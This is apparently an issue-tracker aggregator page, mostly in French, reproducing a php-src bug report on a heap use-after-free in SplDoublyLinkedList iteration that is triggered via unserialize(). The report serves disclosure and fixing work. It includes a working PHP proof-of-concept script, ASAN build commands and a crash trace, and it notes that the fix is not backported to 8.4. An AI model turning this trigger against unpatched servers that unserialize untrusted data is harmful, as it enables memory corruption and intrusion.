UAF in spl_dllist_it_helper_move_forward() when IT_MODE_DELETE is restored via unserialize()
Les mainteneurs répondent en général sous 1 jour
Personne n'a encore pris cette issue.
Évaluation
- Difficulté
- 4/5
- Temps estimé
- 3-5 jours
- Accessibilité débutants
- 38/100
Piste de recherche
Read ext/spl/spl_dllist.c around spl_dllist_it_helper_move_forward() and compare it with the master fix d6b7bd0. Start by reproducing the report with an AddressSanitizer build using the supplied script and USE_ZEND_ALLOC=0. Done means the re-entrant iteration no longer triggers a use-after-free and the reproduction completes; check the SPL test coverage for a suitable regression test.
Rédigé par le modèle d'indexation à partir du texte de l'issue.
Description
Description
Originally reported as GHSA-xf93-hhhj-8f5w; closed as out of security scope per php-src policy on malicious unserialize()/destructor inputs, filed here per maintainer request.
Summary
There is a use-after-free in spl_dllist_it_helper_move_forward() in ext/spl/spl_dllist.c when an SplDoublyLinkedList is deserialized with IT_MODE_DELETE already set in the serialized payload. The victim code only calls unserialize() and then iterates the list with foreach; it does not call setIteratorMode().
During iteration, the destructor of a list element can re-enter next() on the same list. The inner frame frees the node that the outer frame has already advanced to, and the outer frame then performs an out-of-bounds read/write on the freed node via SPL_LLIST_CHECK_ADDREF(*traverse_pointer_ptr).
This is reproducible on PHP 8.4.26 and 8.4.27. The fix d6b7bd0 is present on master but is not backported to the 8.4 branch.
Minimal reproduction
<?php
class IterD {
public $n;
public $list;
public function __destruct() {
if ($this->list instanceof SplDoublyLinkedList) {
try {
$this->list->next();
} catch (Throwable $e) {}
}
}
}
$list = new SplDoublyLinkedList();
$list->setIteratorMode(
SplDoublyLinkedList::IT_MODE_FIFO | SplDoublyLinkedList::IT_MODE_DELETE
);
for ($i = 0; $i < 20; $i++) {
$e = new IterD();
$e->n = $i;
$e->list = $list;
$list->push($e);
}
$payload = serialize($list);
// Victim-side code: only unserialize() and a normal foreach.
$restored = unserialize($payload);
foreach ($restored as $v) {}
echo "done\n";
Build used for the repro:
bash
CC=clang CXX=clang++ \
CFLAGS="-O1 -g -fsanitize=address -fno-omit-frame-pointer" \
LDFLAGS="-fsanitize=address" \
./configure \
--disable-all \
--enable-debug \
--enable-cli \
--enable-spl \
--without-pear
make -j"$(nproc)"
Run:
bash
USE_ZEND_ALLOC=0 \
ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1 \
./sapi/cli/php poc.php
USE_ZEND_ALLOC=0 is needed so that _efree goes through libc free, which ASAN intercepts. With the Zend allocator active, the free is not observed by ASAN.
Expected behavior
The script completes without memory errors and prints:
text
done
Actual behavior
ASAN reports a heap-use-after-free:
text
ERROR: AddressSanitizer: heap-use-after-free
READ of size 4
#0 spl_dllist_it_helper_move_forward ext/spl/spl_dllist.c:860
#1 zim_SplDoublyLinkedList_next ext/spl/spl_dllist.c:950
...
freed by:
#0 free
...
#3 spl_ptr_llist_shift ext/spl/spl_dllist.c:272
#4 spl_dllist_it_helper_move_forward ext/spl/spl_dllist.c:852
...
previously allocated by:
#0 malloc
...
#3 spl_ptr_llist_push ext/spl/spl_dllist.c:182
#4 zim_SplDoublyLinkedList___unserialize ext/spl/spl_dllist.c:1154
...
SUMMARY: AddressSanitizer: heap-use-after-free
ext/spl/spl_dllist.c:860 in spl_dllist_it_helper_move_forward
The three relevant sites are:
Allocation: spl_ptr_llist_push() line 182, reached from zim_SplDoublyLinkedList___unserialize() line 1154, i.e. during unserialize().
Free: spl_ptr_llist_shift() line 272, reached from the inner spl_dllist_it_helper_move_forward() frame at line 852, triggered by the destructor at line 854.
Crash: line 860 in the outer frame, where SPL_LLIST_CHECK_ADDREF(*traverse_pointer_ptr) reads and writes through the freed node.
The same result reproduces on PHP 8.4.26 and 8.4.27, 100/100 runs.
Additional notes
The victim does not call setIteratorMode(). IT_MODE_DELETE is restored from the serialized payload by SplDoublyLinkedList::__unserialize().
The remaining precondition is a class in the victim whose __destruct() calls a mutating method such as next() on the contained SplDoublyLinkedList.
The master fix d6b7bd0 reorders SPL_LLIST_CHECK_ADDREF(*traverse_pointer_ptr) before zval_ptr_dtor(&prev), closing the window. It is not present in the 8.4 branch; ext/spl/spl_dllist.c in 8.4.27 is byte-identical to 8.4.26 in the relevant region.
I cannot provide a [3v4l.org](https://3v4l.org/) link because the reproduction requires an ASAN build and USE_ZEND_ALLOC=0.
### PHP Version
```plain
8.4.27:
PHP 8.4.27 (cli) (built: Oct 26 2026 09:37:27) (NTS DEBUG)
Copyright (c) The PHP Group
Zend Engine v4.4.27, Copyright (c) Zend Technologies
8.4.26:
PHP 8.4.26 (cli) (built: Oct 26 2026 09:42:39) (NTS DEBUG)
Copyright (c) The PHP Group
Zend Engine v4.4.26, Copyright (c) Zend Technologies
Operating System
Ubuntu 26.04.1 LTS (WSL2), x86_64
- Langage dominant
- C
- Étoiles
- 41.8k
- Forks
- 8.6k
- Merge moyen
- 2 j 15 h
- PR mergées (30 j)
- 125
Préparer son environnement
- Aucun Dockerfile ni fichier Docker Compose
- Aucun modèle de pull request
- Lire le guide de contribution
Par où commencer
- Lisez l'issue en entier, puis le guide de contribution du projet.
- Signalez en commentaire que vous la prenez — cela évite que deux personnes fassent le même travail.
- Forkez le dépôt et travaillez sur une branche.
- Ouvrez une pull request qui référence le numéro de l'issue.
Autres issues de php/php-src
-
Difficulté 2/5 1-3 heures Accessibilité débutants 72/100
Les mainteneurs répondent en général sous 1 jour
-
ext/openssl: 8.2.31+/8.3.31+ fail to build against OpenSSL 1.0.2 (ASN1_STRING_get0_data in xp_ssl.c)OuverteExtension: openssl Status: Needs Triage
Difficulté 2/5 1-3 heures Accessibilité débutants 79/100
php/php-src#25402 · 2 commentaires ·
Les mainteneurs répondent en général sous 1 jour
-
Bug Status: Needs Triage
Difficulté 2/5 1-3 heures Accessibilité débutants 68/100
php/php-src#25397 · 3 commentaires ·
Les mainteneurs répondent en général sous 1 jour
-
SNMP accepts malformed remote portsPeut-être pris @somethingwithproof l’a pris il y a 21 jours. Ouverte
Difficulté 2/5 Une demi-journée Accessibilité débutants 62/100
php/php-src#25137 · 1 commentaire ·
Les mainteneurs répondent en général sous 1 jour
-
Bug Status: Needs Triage
Difficulté 2/5 1-3 heures Accessibilité débutants 64/100
Les mainteneurs répondent en général sous 1 jour
Toutes les issues de php/php-src
Issues similaires
-
bug
Difficulté 2/5 1-3 heures Accessibilité débutants 72/100
Les mainteneurs répondent en général sous 1 jour
-
ZIP/ZIPS decode dereferences NULL when the cached libdeflate decompressor can't be allocated (3.5 regression)Peut-être pris Une pull request liée à cette issue est ouverte ou déjà fusionnée. Ouverte
Difficulté 2/5 1-3 heures Accessibilité débutants 74/100
AcademySoftwareFoundation/openexr#2884 ·
Les mainteneurs répondent en général sous 1 jour
-
Difficulté 2/5 1-3 heures Accessibilité débutants 82/100
python-pillow/Pillow#10590 ·
Les mainteneurs répondent en général sous 1 jour
-
status: needs-triage type: bug
Difficulté 2/5 1-3 heures Accessibilité débutants 62/100
-
bug
Difficulté 2/5 1-3 heures Accessibilité débutants 62/100
openwrt/packages#31407 · 1 commentaire ·
Les mainteneurs répondent en général sous 1 jour